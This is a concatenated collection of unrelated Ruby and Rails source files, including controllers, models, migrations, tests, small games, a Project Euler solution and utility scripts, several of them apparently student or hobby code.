text
stringlengths
10
2.61M
require_relative "../helper_sequences/a000217" require_relative "../helper_sequences/a047838" class OEIS def self.a128223(n) n.even? ? a000217(n) : a047838(n + 1) end end # This is the number of numbers required for # 0 != 1 # 0 != 1 != 2 != 0 # 0 != 1 != 2 != 3 != 0 != 2 != 1 != 3 # 0 != 1 != 2 != 3 != 4 != 2 != 0 != 4 != 1 != 3 != 0
require 'pry' class Owner attr_reader :name, :species attr_accessor :pets @@all = [] def initialize(name) @name = name @@all << self @species = "human" @pets = {:fishes => [], :dogs => [], :cats => []} end # CLASS METHODS def self.all @@all end def self.reset_all @@all.clear end def self.count self.all.count end # INSTANCE METHODS def reset_pets @pets = {:fishes => [], :dogs => [], :cats => []} end def say_species "I am a #{@species}." end def name=(name) @name = name end def buy_fish(name) self.pets[:fishes] << Fish.new(name) end def buy_cat(name) self.pets[:cats] << Cat.new(name) end def buy_dog(name) self.pets[:dogs] << Dog.new(name) end def walk_dogs self.pets[:dogs].each {|d| d.mood = "happy" } end def play_with_cats self.pets[:cats]. each {|c| c.mood = "happy"} end def feed_fish self.pets[:fishes]. each {|f| f.mood = "happy"} end def sell_pets self.pets.each_pair do |key, value| #key is animal symbol, value is array of animal objects value.each {|obj| obj.mood = "nervous"} end self.reset_pets end def pet_count self.pets.each_value.collect do |value| value.count end end def list_pets pet_array = self.pet_count "I have #{pet_count[0]} fish, #{pet_count[1]} dog(s), and #{pet_count[2]} cat(s)." end end # End of Class
class MembersController < ApplicationController before_filter :redirect_if_not_logged_in, only: [ :show, :edit, :update ] before_filter :redirect_if_logged_in, only: [ :new, :create ] before_filter :redirect_if_user_doesnt_match, only: [ :show, :edit, :update ] def new @member = Member.new end def show @member = Member.find(params[:id]) @ratings = Rating.order('created_at DESC').paginate(page: params[:page], :per_page => 5).find_all_by_member_id(params[:id]) end def edit @member = Member.find(params[:id]) end def create @member = Member.new(params[:member]) if @member.save # Tell the MemberMailer to send a welcome Email after save MemberMailer.confirm(@member).deliver session[:mid] = @member.id flash[:success] = "Welcome to BeerOn, #{@member.name.split(' ').first}!" redirect_to @member else render action: "new" end end def update @member = Member.find(params[:id]) if @member.update_attributes(params[:member]) flash[:success] = "Your profile has been updated." redirect_to @member else render action: "edit" end end end
Rails.application.routes.draw do devise_for :sign_ups resources :projects root 'welcome#index' end
# pseudo # # handle input and output as far as the user is concerned # one user enters word # a second user guesses the word with letters # Guesses are limited, and the number of guesses available is related to the length of the word. # repeated letters not penalized - just dumb # prompt one user to enter a word # store that word # measure stored words's length # double the word's length # store that as the guess limit # UNTIL guess limit is equal to number of guesses # prompt a second user to enter a letter # compare that letter to the stored word # IF letter is in word # add that letter to the guessed letters list # show encouraging message # Make the guessed current word include that letter # ELSIF letter is already in guessed letters list # show all the letters in the word already guessed # print out already-guessed letters # subtract one guess from the count (same effect and easier than adding to rest) # ELSE # show discouraging message # add one guess to the guess list # Add one guess to the guess count # show all of the letters in the word that are present # IF guessed word is equal to word solution # Show encouraging message # Change guess limit end to being true and stop the prompting # IF guessed word is not equal to word solution before number of guesses is equal to solution length # show the solution # show discouraging message class WordGame attr_reader :solution, :guess_limit, :hangman_line, :guess_count, :letter, :loop def initialize(solution) @solution = solution.split("") @guess_limit = @solution.length @hangman_line = "_" * @guess_limit @guess_count = 0 @letter = "" @guessed_letters = [] @loop = true end def guess_game(letter) @guess_count += 1 guess_letter(letter) if @solution.include?(letter) fill_word(letter) puts "Yay - nice work. You guessed a letter or letters in the word." else puts "Nope - try another letter." end puts "You've guessed #{@guess_count} time(s)." end def fill_word(letter) i = 0 while i < @solution.length if @solution[i] == letter @hangman_line[i] = letter end i += 1 end puts "Here's how far you are: #{@hangman_line}" end def check_end if @guess_count < @guess_limit @loop = true p "loop is true" else @loop = false puts "Sorry you lost" abort end end def guess_letter(letter) if @guessed_letters.include?(letter) puts "You've tried that one! Guess again :) " @guess_count -= 1 else @guessed_letters << letter end end end # prompt one user to enter a word # store that word # measure stored words's length # double the word's length # store that as the guess limit # user solution-setter puts "What word do you want the other person to guess?" solution = gets.chomp game = WordGame.new(solution) # UNTIL guess limit is equal to number of guesses # prompt a second user to enter a letter # compare that letter to the stored word # IF letter is in word # add that letter to the guessed letters list # show encouraging message # Make the guessed current word include that letter # ELSIF letter is already in guessed letters list # show all the letters in the word already guessed # print out already-guessed letters # subtract one guess from the count (same effect and easier than adding to rest) # ELSE # show discouraging message # add one guess to the guess list # Add one guess to the guess count # show all of the letters in the word that are present # user solution-guesser puts "" puts "Alright, hopefully you didn't see that word." until @loop == false puts "What letter do you want to guess?" letter = gets.chomp game.guess_game(letter) game.check_end end
# -*- mode: ruby -*- # vi: set ft=ruby : # # v_bootstrap.sh # # jorgedlt@gmail.com - 2016-07-22 12:50:19 Vagrant.configure(2) do |config| config.vm.box = "boxcutter/ubuntu1604" # Provisioning & Start-Up config.vm.provision :shell, path: "v_bootstrap.sh" config.vm.provision :shell, path: "v_startup.sh", run: "always", privileged: false # Private Network # config.vm.network "private_network", ip: "192.168.17.37" # Expose Ports # config.vm.network :forwarded_port, host: 7080, guest: 80 # config.vm.network :forwarded_port, host: 8080, guest: 8080 config.vm.provider :virtualbox do |vb| vb.memory = "2048" vb.cpus = "2" end end
module TrelloPresenter class List attr_reader :name, :id attr_accessor :cards def self.build(lists) lists.map {|l| new(l) } end def initialize(raw_data) @raw_data = raw_data @name = raw_data['name'] @id = raw_data['id'] @cards = [] end end end
class TestScenariosController < ApplicationController before_action :authenticate_user!, only: [:index, :show, :edit, :update, :destroy, :create, :new, :edit_all] before_action :set_test_scenario, only: [:show, :edit, :update, :destroy, :send_xml_order] before_action :set_paper_trail_whodunnit load_and_authorize_resource include ApplicationHelper def edit_all @test_scenarios = TestScenario.all end # GET /test_scenarios # GET /test_scenarios.json def index #@test_scenarios = TestScenario.all respond_to do |format| format.html format.json {render json: TestScenarioDatatable.new(view_context)} end end # GET /test_scenarios/1 # GET /test_scenarios/1.json def show end # GET /test_scenarios/new def new @test_scenario = TestScenario.new end # GET /test_scenarios/1/edit def edit end # POST /test_scenarios # POST /test_scenarios.json def create @test_scenario = TestScenario.new(test_scenario_params) respond_to do |format| if @test_scenario.save format.html {redirect_to @test_scenario, notice: 'Test scenario was successfully created.'} format.json {render :show, status: :created, location: @test_scenario} else format.html {render :new} format.json {render json: @test_scenario.errors, status: :unprocessable_entity} end end end # PATCH/PUT /test_scenarios/1 # PATCH/PUT /test_scenarios/1.json def update respond_to do |format| if @test_scenario.update(test_scenario_params) format.html {redirect_to @test_scenario, notice: 'Test scenario was successfully updated.'} format.json {render :show, status: :ok, location: @test_scenario} else format.html {render :edit} format.json {render json: @test_scenario.errors, status: :unprocessable_entity} end end end # DELETE /test_scenarios/1 # DELETE /test_scenarios/1.json def destroy @test_scenario.destroy respond_to do |format| format.html {redirect_to test_scenarios_url, notice: 'Test scenario was successfully destroyed.'} format.json {head :no_content} end end def import begin TestScenario.import(params[:file], get_environment_property('id')) redirect_to test_scenarios_url, notice: "Test Scenarios Successfully Imported !" rescue redirect_to test_scenarios_url, alert: "Failed when importing the Test Scenarios" end end def send_xml_order xml = @test_scenario.xml_order date = Date.today time = Time.now xml.gsub!('%EXTERNALID%', time.strftime('%y%m%d%H%M%S') + '_' + get_environment_property('acronym').downcase) xml.gsub!('%DUEDATE%', (date + 1).strftime('%Y-%m-%dT00:00:00-07:00')) xml.gsub!('%STARTDATE%', date.strftime('%Y-%m-%dT%H:%M:%S-00:00')) xml.gsub!('%SUBMITDATE%', date.strftime('%Y-%m-%dT%H:%M:%S-00:00')) xml.gsub!('%DESCRIPTION%', @test_scenario.condition) xml.gsub!('%CASEID%', @test_scenario.case_id) parsed_xml = Nokogiri::XML(xml) external_id = parsed_xml.at_xpath('/DeteOrder/ns2:externalOrders/ns2:externalId').content ebarcode = parsed_xml.at_xpath('/DeteOrder/ns2:deteServices/ns2:deteSources/ns2:barcode').content xml = parsed_xml.to_s if external_id.include?('dev') @test_scenario.update_columns(dev_external_id: external_id, dev_xml_order: xml, dev_ebarcode: ebarcode) elsif external_id.include?('qa') @test_scenario.update_columns(qa_external_id: external_id, qa_xml_order: xml, qa_ebarcode: ebarcode) elsif external_id.include?('stg') @test_scenario.update_columns(stg_external_id: external_id, stg_xml_order: xml, stg_ebarcode: ebarcode) end env = Environment.find(get_environment_property('id')) case env[:acronym] when 'DEV' request_url = "#{env[:orch_bus_ip]}:#{env[:orch_bus_port]}/#{env[:orch_bus_path]}" OrderSubscriberJob.perform_now(request_url, xml, nil, nil) when 'QA' request_url = "#{env[:orch_bus_ip]}/#{env[:orch_bus_path]}" OrderSubscriberJob.perform_now(request_url, xml, nil, nil) when 'STG' request_url = "#{env[:orch_bus_ip]}/#{env[:orch_bus_path]}" OrderSubscriberJob.perform_now(request_url, xml, nil, env[:token]) end respond_to do |format| #format.html {redirect_to test_scenarios_url, notice: 'Order was successfully submitted to Orchestration Bus.'} format.json {head :no_content} end end def send_xml_cancellation if get_environment_property('acronym').downcase == 'dev' xml = @test_scenario.dev_xml_order elsif get_environment_property('acronym').downcase == 'qa' xml = @test_scenario.qa_xml_order elsif get_environment_property('acronym').downcase == 'stg' xml = @test_scenario.stg_xml_order end parsed_xml = Nokogiri::XML(xml) parsed_xml.at_xpath('/DeteOrder//ns2:status').content = 'Cancelled' parsed_xml.at_xpath('/DeteOrder/ns2:status').content = 'Cancelled' xml = parsed_xml.to_s env = Environment.find(get_environment_property('id')) case env[:acronym] when 'DEV' request_url = "#{env[:orch_bus_ip]}:#{env[:orch_bus_port]}/#{env[:orch_bus_path]}" OrderSubscriberJob.perform_now(request_url, xml, nil, nil) when 'QA' request_url = "#{env[:orch_bus_ip]}/#{env[:orch_bus_path]}" OrderSubscriberJob.perform_now(request_url, xml, nil, nil) when 'STG' request_url = "#{env[:orch_bus_ip]}/#{env[:orch_bus_path]}" OrderSubscriberJob.perform_now(request_url, xml, nil, env[:token]) end respond_to do |format| format.html {redirect_to test_scenarios_url, alert: 'Order Cancellation was submited to Orchestration Bus.'} format.json {head :no_content} end end private # Use callbacks to share common setup or constraints between actions. def set_test_scenario @test_scenario = TestScenario.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def test_scenario_params parameters = params.require(:test_scenario).permit(:id, :category, :sub_category, :condition, :condition_type, :expected_result, :xml_order, :format_type, :dev_ebarcode, :qa_ebarcode, :stg_ebarcode, :case_id, :tenant, :dev_external_id, :qa_external_id, :stg_external_id, :environment_ids => []) parameters end end
class SessionsController < ApplicationController skip_before_action :verify_authenticity_token def create user=User.find_by(name: params[:user][:name]) if user && user.authenticate(params[:user][:password]) session[:name] = user.name redirect_to '/listings/index' else redirect_to root_url, :notice => 'name or password is not valid!' end end def destroy session[:name]=nil redirect_to root_url end def show if session[:name]!=nil redirect_to '/listings/index' end end end
# -*- encoding: utf-8 -*- $:.push File.expand_path('../lib', __FILE__) require 'sinatra/opencaptcha_version' Gem::Specification.new do |s| s.name = 'sinatra-opencaptcha' s.version = Sinatra::OpenCaptcha::VERSION s.authors = ['Bruno Kerrien'] s.email = ['bruno@neirrek.com'] s.homepage = 'https://github.com/neirrek/sinatra-opencaptcha' s.summary = 'Sinatra extension for OpenCaptcha' s.description = 'A Sinatra module to seamlessly integrate OpenCaptcha to Sinatra applications' s.rubyforge_project = 'sinatra-opencaptcha' s.add_runtime_dependency 'sinatra', '~> 1.3.2' s.add_runtime_dependency 'rest-client', '~> 1.6.7' s.add_runtime_dependency 'uuidtools', '~> 2.1.2' s.files = Dir.glob("{bin,lib}/**/*") + %w(LICENSE README.md) s.require_paths = ['lib'] end
class Librarian attr_accessor :name, :age, :fave_book def initialize(name, age, fave_book, id=nil) @id = id @name = name @age = age @fave_book = fave_book end def self.new_table DB[:conn].execute("CREATE TABLE librarians(id INTEGER PRIMARY KEY, name TEXT, age INTEGER, fave_book TEXT)") end def self.all librarians = DB[:conn].execute("SELECT * FROM librarians") librarians.map do |librarian| Librarian.new(name, age, fave_book, id) end end def self.create(name, age, fave_book) sql = "INSERT INTO librarians(title, author) VALUES(?,?,?)" DB[:conn].execute(sql,name, age, fave_book) end end
json.array!(@sprinkles) do |sprinkle| json.extract! sprinkle, :id, :time_input, :duration, :state, :circuit_id json.url sprinkle_url(sprinkle, format: :json) end
#!/usr/bin/env ruby # load HTTP request class and REXML Document class require 'net/http' require 'rexml/document' # set the username to fetch username = 'othiym23' # the URL for the most recent weekly chart weekly_feed_url = "http://ws.audioscrobbler.com/1.0/user/#{username}/weeklyartistchart.xml" # load the feed weekly_feed = Net::HTTP.get_response(URI.parse(weekly_feed_url)) # create a new REXML Document document = REXML::Document.new(weekly_feed.body) # use an XPath to find the first 10 artists (ignoring ranking) in the chart document.root.get_elements('//artist').slice(0, 10).each do |artist| # print a list of each artist's number of plays puts '# ' + artist.elements['name'].children.to_s + ' (' + artist.elements['playcount'].children.to_s + ' listens)' end
class Topic < ActiveRecord::Base attr_accessible :description, :title has_many :votes def as_json(*args) {description: description, title: title} end end
class CreateCellSkeds < ActiveRecord::Migration def self.up create_table :cell_skeds do |t| t.integer :number_couple t.time :start_time t.time :end_time t.timestamps end end def self.down BusInf_table :cell_skeds end end
class Deployment < ApplicationRecord belongs_to :app MAX_IMAGE_SIZE = 256 * 1024 MAX_DEBUG_DATA_SIZE = 32 * 1024 validates :version, uniqueness: { scope: :app_id } validates :tag, format: { with: Device::TAG_NAME_REGEX }, length: { in: 0..Device::TAG_LEN }, allow_nil: true validates :comment, length: { in: 0..1024 }, allow_nil: true validates :debug, length: { in: 0..MAX_DEBUG_DATA_SIZE }, allow_nil: true validates :deployed_from, length: { in: 0..32 }, allow_nil: true validate :validate_image_format validate :validate_image_size before_create :set_version before_create :compute_shasum def initialize(attrs) attrs ||= {} image_file = attrs.delete(:image) super if image_file.instance_of?(ActionDispatch::Http::UploadedFile) self.image = image_file.read else self.image = image_file end end def validate_image_format if self.image[0..1] != 'PK' and !self.image.encode('utf-8').valid_encoding? errors.add(:image, 'is not valid zip file nor code in UTF-8.') end end def validate_image_size unless self.image.size < MAX_IMAGE_SIZE errors.add(:image, 'is too big') end end def set_version self.version = (Deployment.where(app: self.app).maximum(:version) || 0) + 1 end def compute_shasum self.image_shasum = Digest::SHA256.hexdigest(self.image) end end
require 'socket' module RTALogger # show log items on console out put class LogRepositoryUDP < LogRepository def initialize(host = '127.0.0.1', port = 4913) super() @udp_socket = UDPSocket.new @udp_socket.bind(host, port) end def load_config(config_json) super host = config_json['host'].to_s port = config_json['port'].nil? ? 4913 : config_json['port'].to_i @udp_socket = UDPSocket.new @udp_socket.bind(host, port) end # register :udp protected def flush_and_clear semaphore.synchronize do @log_records.each { |log_record| @udp_socket.send @formatter.format(log_record), 0, @host, @port } end super end end end
class EngineersController < ApplicationController before_filter :protect_controller protected def protect_controller if current_user.has_role?("PowerUser") return true else redirect_to "/devices/index" flash[:notice] = "Не достаточно прав!" return false end end public def index list render :action => 'list' end # GETs should be safe (see http://www.w3.org/2001/tag/doc/whenToUseGet.html) verify :method => "post", :only => [ :destroy, :create, :update ], :redirect_to => { :action => :list } def list @engineer_pages, @engineers = paginate :engineers, :per_page => 100, :order => :last end def show @engineer = Engineer.find(params[:id]) end def new @engineer = Engineer.new end def create @engineer = Engineer.new(params[:engineer]) if @engineer.save flash[:notice] = 'Engineer was successfully created.' redirect_to :action => 'list' else render :action => 'new' end end def edit @engineer = Engineer.find(params[:id]) end def update @engineer = Engineer.find(params[:id]) if @engineer.update_attributes(params[:engineer]) flash[:notice] = 'Engineer was successfully updated.' redirect_to :action => 'show', :id => @engineer else render :action => 'edit' end end def destroy Engineer.find(params[:id]).destroy redirect_to :action => 'list' end end
class Fan < ActiveRecord::Base has_many :comments has_many :photos, dependent: :destroy has_many :rsvps has_many :concerts, through: :rsvps mount_uploader :profile_picture, ImageUploader def attend(concert) rsvps.create(concert: concert) end def cancel(concert) concerts.destroy(concert) end end
class Gotbattle < ActiveRecord::Base def self.search(term) where("lower(name) like ? ", "%#{term}%").pluck(:name) end def self.list_battles(term) where("lower(name) like ? ", "%#{term}%") end end
class ReplaceGluedByProximity < ActiveRecord::Migration[5.1] def up add_column :interpretations, :proximity, :integer, default: Interpretation.proximities['close'] Interpretation.where(glued: true).in_batches do |interpretations| interpretations.update_all(proximity: 'glued') end Interpretation.where(glued: false).in_batches do |interpretations| interpretations.update_all(proximity: 'close') end remove_column :interpretations, :glued, :boolean end def down add_column :interpretations, :glued, :boolean, default: false Interpretation.where(proximity: 'glued').in_batches do |interpretations| interpretations.update_all(glued: true) end Interpretation.where.not(proximity: 'glued').in_batches do |interpretations| interpretations.update_all(glued: false) end remove_column :interpretations, :proximity end end
require 'spec_helper' feature "Sign Up" do scenario "A new user signs up" do visit '/' fill_in :email, with: 'test@example.com' click_on 'Create Registration' page.should have_content registration_token end def registration_token @registration_token ||= Registration.first.token end end
class OrderProduct < ApplicationRecord belongs_to :order belongs_to :product enum make_status: { "制作不可": 0, "制作待ち": 1, "製作中": 2, "制作完了": 3, } end
require 'securerandom' require 'barby/barcode/qr_code' require 'barby/outputter/png_outputter' require 'csv' namespace :tickets do desc "Generate tickets" task generate: :environment do Ticket.transaction do if Ticket.count > 0 STDERR.puts("Do nothing because tickets have already been generated") next end mtq2016 = Festival.find_by(name: "松江トランキーロ2016") for name, n in [ ["そば遊山", 30], ["谷屋", 32], ["誘酒庵", 38], ["老虎", 30], ["東風", 20], [nil, 50] ] restaurant = name ? Restaurant.find_by(name: name) : nil n.times do Ticket.create!(festival: mtq2016, restaurant: restaurant) end end puts("Generated #{Ticket.count} tickets") end end desc "Generate PDFs for tickets" task report: :environment do Thinreports::Report.generate(filename: 'tickets.pdf', layout: 'app/reports/tickets') do start_new_page # QR Code page.list(:tickets) do |list| Ticket.includes(:restaurant).order("id").each_slice(3) do |tickets| list.add_row do |row| tickets.each_with_index do |ticket, i| n = i.zero? ? "" : "##{i}" row.values("url#{n}": "http://bit.ly/mtq16", "restaurant#{n}": ticket.restaurant&.name, "passcode#{n}": ticket.passcode) code = Barby::QrCode.new(ticket.signup_url) sio = StringIO.new(code.to_png(xdim: 5, ydim: 5)) row.item("qrcode#{n}").src(sio) end end end end end puts "Generated tickets.pdf" end desc "Clean tickets" task clean: :environment do Ticket.delete_all end namespace :csv do desc "Dump CSV for tickets" task dump: :environment do open("db/tickets.csv", "w") do |f| f.puts("id,festival_id,restaurant_id,passcode") Ticket.order("id").each do |ticket| f.puts([ ticket.id, ticket.festival_id, ticket.restaurant_id, ticket.passcode ].join(",")) end end puts "Dumped db/tickets.csv" end desc "Load CSV for tickets" task load: :environment do open("db/tickets.csv") do |f| Ticket.transaction do f.each_line do |line| next if /^id,/ =~ line id, festival_id, restaurant_id, passcode = line.split(/,/) Ticket.create!(id: id, festival_id: festival_id, restaurant_id: restaurant_id, passcode: passcode) end end end puts "Loaded db/tickets.csv" end end end
require 'event' # purpose: # base class for all termcap classes class Termcap def initialize(seq_key) @seq_key = seq_key end attr_reader :seq_key end # purpose: # build one gigantic hash-table which translates # from XTerm-escape-sequences into AEditor-events. class TermcapXTerm < Termcap include KeyEvent::Key include KeyEvent::Modifier def initialize ary = [build_misc, build_alpha, build_numeric] seq_key = ary.inject({}){|i, v| v.merge(i)} fill_ascii_unknown(seq_key) super(seq_key) end def fill_ascii_unknown(hash) 32.upto(126) do |i| key = hash[i.chr] unless key hash[i.chr] = KeyEvent.new(KEY_UNKNOWN, i.chr, 0) end end end def build_alpha res = {} # 97-122 normal ('a'..'z').to_a.each{|i| key = eval("KEY_#{i.upcase}") res[i] = KeyEvent.new(key, i, 0) } # 65-90 shift ('A'..'Z').to_a.each{|i| key = eval("KEY_#{i}") res[i] = KeyEvent.new(key, i, SHIFT) } # 225-250 alt ('A'..'Z').to_a.each{|i| key = eval("KEY_#{i}") ascii = (i[0] - 'A'[0]) + 225 res[ascii.chr] = KeyEvent.new(key, nil, ALT) } # 193-218 shift|alt ('A'..'Z').to_a.each{|i| key = eval("KEY_#{i}") ascii = (i[0] - 'A'[0]) + 193 res[ascii.chr] = KeyEvent.new(key, nil, SHIFT|ALT) } # 1-26 ctrl ('A'..'Z').to_a.each{|i| key = eval("KEY_#{i}") ascii = (i[0] - 'A'[0]) + 1 res[ascii.chr] = KeyEvent.new(key, nil, CTRL) } res[0.chr] = KeyEvent.new(KEY_SPACE, nil, CTRL) res[9.chr] = KeyEvent.new(KEY_TAB, 9.chr, 0) res[10.chr] = KeyEvent.new(KEY_NEWLINE, 10.chr, 0) res[32.chr] = KeyEvent.new(KEY_SPACE, 32.chr, 0) # 129-154 alt|ctrl ('A'..'Z').to_a.each{|i| key = eval("KEY_#{i}") ascii = (i[0] - 'A'[0]) + 129 res[ascii.chr] = KeyEvent.new(key, nil, ALT|CTRL) } res end def build_numeric res = {} # 48-57 normal ('0'..'9').to_a.each{|i| key = eval("KEY_#{i}") res[i] = KeyEvent.new(key, i, 0) } # 176-185 alt ('0'..'9').to_a.each{|i| key = eval("KEY_#{i}") ascii = (i[0] - '0'[0]) + 176 res[ascii.chr] = KeyEvent.new(key, nil, ALT) } res end def make_key(key, mod) KeyEvent.new(key, nil, mod) end def build_misc res = {} build_misc_data.each do |key, val| norm, s, a, s_a, c, s_c, a_c, s_a_c = val res[norm] = make_key(key, 0) if norm res[s] = make_key(key, SHIFT) if s res[a] = make_key(key, ALT) if a res[s_a] = make_key(key, SHIFT|ALT) if s_a res[c] = make_key(key, CTRL) if c res[s_c] = make_key(key, SHIFT|CTRL) if s_c res[a_c] = make_key(key, ALT|CTRL) if a_c res[s_a_c] = make_key(key, SHIFT|ALT|CTRL) if s_a_c end res end def build_misc_data { # f1 - f12 KEY_F1 => ["\eOP", "\eO2P"], KEY_F2 => ["\eOQ", "\eO2Q"], KEY_F3 => ["\eOR", "\eO2R"], KEY_F4 => ["\eOS", "\eO2S"], KEY_F5 => esc2('15'), KEY_F6 => esc2('17'), KEY_F7 => esc2('18'), KEY_F8 => esc2('19'), KEY_F9 => esc2('20'), KEY_F10 => esc2('21'), KEY_F11 => esc2('23'), KEY_F12 => esc2('24'), # movement KEY_UP => esc1('A'), KEY_DOWN => esc1('B'), KEY_RIGHT => esc1('C'), KEY_LEFT => esc1('D'), KEY_PAGE_UP => esc2('5'), KEY_PAGE_DOWN => esc2('6'), KEY_HOME => esc1('H'), KEY_END => esc1('F'), # others KEY_INSERT => esc2('2'), KEY_DELETE => esc2('3'), KEY_TAB => [nil, "\e[Z"], } end # xterm id-numbers used in escape-sequences # 1 = normal (no modifiers) # 2 = shift # 3 = alt # 4 = shift+alt # 5 = ctrl # 6 = shift+ctrl # 7 = alt+ctrl # 8 = shift+alt+ctrl def esc1(code) ["\e[#{code}", "\e[2#{code}", "\e[3#{code}", "\e[4#{code}", "\e[5#{code}", "\e[6#{code}", "\e[7#{code}", "\e[8#{code}"] end def esc2(code) ["\e[#{code}~", "\e[#{code};2~", "\e[#{code};3~", "\e[#{code};4~", "\e[#{code};5~", "\e[#{code};6~", "\e[#{code};7~", "\e[#{code};8~"] end end
## # #https://projecteuler.net/problem=23 # #4179871 ANS #5 s start = Time.now def prob23 abundant = [] limit = 28123 sum_abundant = [] abundant = (2..limit).select do |num| divs = get_divisors(num) num if abundant?(num, divs) end abundant.each_with_index do |num1,idx| abundant[idx..-1].each do |num2| if num1 + num2 <= limit sum_abundant << num1 + num2 else break end end end non_sum_abundant = (1..limit).to_a - sum_abundant non_sum_abundant.reduce(:+) end def abundant?(num, divs) divs.reduce(:+) > num ? true : false end def get_divisors(num) return [1] if num < 6 divs = [1] (2..Math.sqrt(num)).each do |e| break if divs.include?(e) if (num % e == 0) divs << e divs << num / e unless (num / e == num) || ( num / e == e) end end divs end puts prob23 puts Time.now - start =begin abundant.each_with_index do |num1,idx| abundant[idx..-1].each do |num2| #next if non_sum_abundant.include?(num1 + num2) if num1 + num2 <= limit non_sum_abundant << num1 + num2 unless abundant.include?(num1 + num2) else break end end end =end
require 'test_helper' class TransactionsControllerTest < ActionController::TestCase test "should get new" do get :new assert_response :success end test "should get pickup" do get :pickup assert_response :success end test "should get create" do get :create assert_response :success end test "should post create" do product = Product.create( permalink: 'test_product', price: 100 ) email = 'pete@example.com' token = 'tok_test' post :create, email: email, stripeToken: token assert_not_nil assigns(:sale) assert_not_nil assigns(:sale).stripe_id assert_equal product.id, assigns(:sale).product_id assert_equal email, assigns(:sale).email end end
require 'spec_helper' describe Yandex::Market::Client::Regions do let(:client) { Yandex::Market::Client.new(token: 'test') } describe '.regions', :vcr do it 'returns top level regions' do result = client.regions expect(result.regions).to be_kind_of Array assert_requested :get, market_url('/geo/regions') end end describe '.regions(id)', :vcr do it 'returns region info by id' do result = client.regions(213) expect(result.region.name).to eq('Москва') assert_requested :get, market_url('geo/regions/213') end end describe '.regions_children(id)', :vcr do it 'returns children regions' do result = client.regions_children(3) expect(result.regions).to be_kind_of Array assert_requested :get, market_url('geo/regions/3/children') end end describe '.suggest', :vcr do it 'returns suggestion regions by filters' do result = client.suggest(name_part: 'Москва') expect(result.suggests).to be_kind_of Array assert_requested :get, market_url('geo/suggest?name_part=Москва') end end end
class PostAssetJob < ApplicationJob queue_as :post_asset after_perform do |job| Rails.logger.info "#{Time.current}: finished execution of the job: #{job.inspect}" logger.debug 'Deleted ' + AmsAsset.where('ebarcode LIKE ?', '%Error%').each{|asset| asset.destroy}.size.to_s + ' assets with errors' end def perform(url, body, ams_asset_id) uri = URI.parse(url) http = Net::HTTP.new(uri.host, uri.port) http.read_timeout = 1000 request = Net::HTTP::Post.new(uri.path, {'Content-Type' =>'application/json'}) request.body = body logger.debug request.body response = http.request(request) logger.debug response.code logger.debug response.body if response.code == '201' logger.debug ams_res = JSON.parse(response.body) logger.debug asset = AmsAsset.find(ams_asset_id) logger.debug asset.update_attributes(ebarcode: ams_res['deteId'], metadata: response.body) elsif response.code == '400' logger.debug asset = AmsAsset.find(ams_asset_id) logger.debug asset.update_attributes(ebarcode: 'Error Posting Asset') end end end
class AddManyColumnsToTrial < ActiveRecord::Migration def change add_column :trials, :nct_id, :text add_column :trials, :official_title, :text add_column :trials, :agency_class, :text add_column :trials, :detailed_description, :text add_column :trials, :overall_status, :text add_column :trials, :phase, :text add_column :trials, :study_type, :text add_column :trials, :condition, :text add_column :trials, :inclusion, :text add_column :trials, :exclusion, :text add_column :trials, :gender, :text add_column :trials, :minimum_age, :integer, :null => false, :default => 0 add_column :trials, :maximum_age, :integer, :null => false, :default => 120 add_column :trials, :healthy_volunteers, :text add_column :trials, :overall_contact_name, :text end end
class IctNetworkPointsController < ApplicationController def index @requisition = IctNetworkPoint.where(:user_id => current_user.id).order.page(params[:page]).per(4) end def new @requisition=IctNetworkPoint.new end def show @ict_network = IctNetworkPoint.find(params[:id]) @type_name = RequisitionType.find_by_id(@ict_network.requisition_type_id) end def create requisition=IctNetworkPoint.create(params[:ict_network_point]) requisition.requisition_type_id = params[:requisition_type_id] requisition.user_id = params[:user_id] requisition.department_id = params[:department_id] requisition.status = "New" requisition.save @approve = Approver.active.find_all_by_department_id(current_user.departments).first dept = Department.find_by_id(params[:department_id]) if !@approve.present? user = dept.users.where("role_id = 2").first UserMailer.send_mail_to_dept_admin_for_ict_network(user,requisition,dept).deliver else user = User.find_by_id(@approve.user_id) UserMailer.send_mail_to_approver_for_ict_network(user,requisition,dept).deliver end if requisition.valid? redirect_to :controller=>'ict_network_points', :action=>'index' else render :action=>'new' end end def list_ict_network @approve = Approver.active.find_all_by_department_id(current_user.departments).first @approver_second = Approver.active.find_all_by_department_id(current_user.departments).last if !@approve.present? && !@approver_second.present? @list_network_point = IctNetworkPoint.where(:department_id => current_user.departments).order.page(params[:page]).per(4) else @list_network_point = IctNetworkPoint.where(:person_incharge => current_user.id).order.page(params[:page]).per(4) end if @approve.present? @list_network_point = IctNetworkPoint.where(:department_id => @approve.department_id).order.page(params[:page]).per(4) # else @approver_second.present? # @list_network_point = IctNetworkPoint.where(:department_id => @approver_second.department_id) end end def approval_network_point @ict_network = IctNetworkPoint.find(params[:id]) @type_name = RequisitionType.find_by_id(@ict_network.requisition_type_id) end def update_approval_network_point network = IctNetworkPoint.find_by_id(params[:id]) network.update_attributes(params[:ict_network_point]) user = User.find_by_id(network.person_incharge) ordered_user = User.find_by_id(network.user_id) UserMailer.send_status_mail_for_ict_network(user,ordered_user,network).deliver redirect_to(list_ict_network_ict_network_points_path, :notice => 'Your ICT Network Point Status has been successfully updated.') end def list_to_select_ict @ict_hardware_booking=IctHardwareBooking.new @ict_hardware_booked_user=@ict_hardware_booking.ict_hardware_booked_users.build end def selected_list_ict end end
class Rsvp < ActiveRecord::Base validates :name, presence: true, length: { minimum: 2 } validates :attending, numericality: true, presence: true attr_accessible :name, :attending end
require 'rails_helper' RSpec.describe User, type: :model do it { should have_many(:answers).dependent(:destroy) } it { should have_many(:questions).dependent(:destroy) } it { should have_many(:badges).dependent(:destroy) } it { should have_many(:comments) } it { should validate_presence_of :email } it { should validate_presence_of :password } describe '#already_voted?' do let(:user) { create(:user) } let(:another_user) { create(:user) } let(:question) { create(:question, user: user) } before { question.vote_up(another_user) } it 'user already voted the resource' do expect(another_user).to be_already_voted(question.id) end it 'user has not voted the resource' do expect(user).to_not be_already_voted(question.id) end end end
class User < ApplicationRecord validates :email, presence: true has_one :loan has_one :loan_application accepts_nested_attributes_for :loan, :loan_application end
